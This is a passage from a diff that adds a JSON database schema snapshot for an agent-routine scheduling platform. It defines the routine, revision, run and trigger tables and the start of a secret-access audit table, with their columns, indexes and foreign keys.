+          "tableFrom": "routine_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routine_documents_routine_id_routines_id_fk": {
+          "name": "routine_documents_routine_id_routines_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_documents_document_id_documents_id_fk": {
+          "name": "routine_documents_document_id_documents_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_revisions": {
+      "name": "routine_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "restored_from_revision_id": {
+          "name": "restored_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_revisions_routine_revision_uq": {
+          "name": "routine_revisions_routine_revision_uq",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_routine_created_idx": {
+          "name": "routine_revisions_company_routine_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_responsible_user_idx": {
+          "name": "routine_revisions_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_revisions_company_id_companies_id_fk": {
+          "name": "routine_revisions_company_id_companies_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_routine_id_routines_id_fk": {
+          "name": "routine_revisions_routine_id_routines_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_restored_from_revision_id_routine_revisions_id_fk": {
+          "name": "routine_revisions_restored_from_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "restored_from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "routine_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "routine_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_runs": {
+      "name": "routine_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_id": {
+          "name": "trigger_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'received'"
+        },
+        "triggered_at": {
+          "name": "triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "routine_revision_id": {
+          "name": "routine_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_payload": {
+          "name": "trigger_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "dispatch_fingerprint": {
+          "name": "dispatch_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_issue_id": {
+          "name": "linked_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "coalesced_into_run_id": {
+          "name": "coalesced_into_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_runs_company_routine_idx": {
+          "name": "routine_runs_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_revision_idx": {
+          "name": "routine_runs_revision_idx",
+          "columns": [
+            {
+              "expression": "routine_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_company_responsible_user_idx": {
+          "name": "routine_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idx": {
+          "name": "routine_runs_trigger_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_dispatch_fingerprint_idx": {
+          "name": "routine_runs_dispatch_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "dispatch_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_linked_issue_idx": {
+          "name": "routine_runs_linked_issue_idx",
+          "columns": [
+            {
+              "expression": "linked_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idempotency_idx": {
+          "name": "routine_runs_trigger_idempotency_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_runs_company_id_companies_id_fk": {
+          "name": "routine_runs_company_id_companies_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_id_routines_id_fk": {
+          "name": "routine_runs_routine_id_routines_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_trigger_id_routine_triggers_id_fk": {
+          "name": "routine_runs_trigger_id_routine_triggers_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_triggers",
+          "columnsFrom": [
+            "trigger_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_revision_id_routine_revisions_id_fk": {
+          "name": "routine_runs_routine_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "routine_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_linked_issue_id_issues_id_fk": {
+          "name": "routine_runs_linked_issue_id_issues_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "linked_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_triggers": {
+      "name": "routine_triggers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "cron_expression": {
+          "name": "cron_expression",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timezone": {
+          "name": "timezone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_fired_at": {
+          "name": "last_fired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "public_id": {
+          "name": "public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signing_mode": {
+          "name": "signing_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "replay_window_sec": {
+          "name": "replay_window_sec",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_result": {
+          "name": "last_result",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_triggers_company_routine_idx": {
+          "name": "routine_triggers_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_company_kind_idx": {
+          "name": "routine_triggers_company_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_next_run_idx": {
+          "name": "routine_triggers_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_idx": {
+          "name": "routine_triggers_public_id_idx",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_uq": {
+          "name": "routine_triggers_public_id_uq",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_triggers_company_id_companies_id_fk": {
+          "name": "routine_triggers_company_id_companies_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_routine_id_routines_id_fk": {
+          "name": "routine_triggers_routine_id_routines_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_secret_id_company_secrets_id_fk": {
+          "name": "routine_triggers_secret_id_company_secrets_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_created_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_updated_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routines": {
+      "name": "routines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "concurrency_policy": {
+          "name": "concurrency_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'coalesce_if_active'"
+        },
+        "catch_up_policy": {
+          "name": "catch_up_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'skip_missed'"
+        },
+        "activity_gate_policy": {
+          "name": "activity_gate_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'always'"
+        },
+        "activity_gate_scope": {
+          "name": "activity_gate_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "variables": {
+          "name": "variables",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_enqueued_at": {
+          "name": "last_enqueued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routines_company_status_idx": {
+          "name": "routines_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_assignee_idx": {
+          "name": "routines_company_assignee_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_project_idx": {
+          "name": "routines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_folder_idx": {
+          "name": "routines_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_responsible_user_idx": {
+          "name": "routines_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_origin_idx": {
+          "name": "routines_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routines_company_id_companies_id_fk": {
+          "name": "routines_company_id_companies_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_project_id_projects_id_fk": {
+          "name": "routines_project_id_projects_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_folder_id_folders_id_fk": {
+          "name": "routines_folder_id_folders_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_goal_id_goals_id_fk": {
+          "name": "routines_goal_id_goals_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_parent_issue_id_issues_id_fk": {
+          "name": "routines_parent_issue_id_issues_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_assignee_agent_id_agents_id_fk": {
+          "name": "routines_assignee_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routines_created_by_agent_id_agents_id_fk": {
+          "name": "routines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_updated_by_agent_id_agents_id_fk": {
+          "name": "routines_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.secret_access_events": {
+      "name": "secret_access_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_scope": {
+          "name": "secret_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_owner_user_id": {
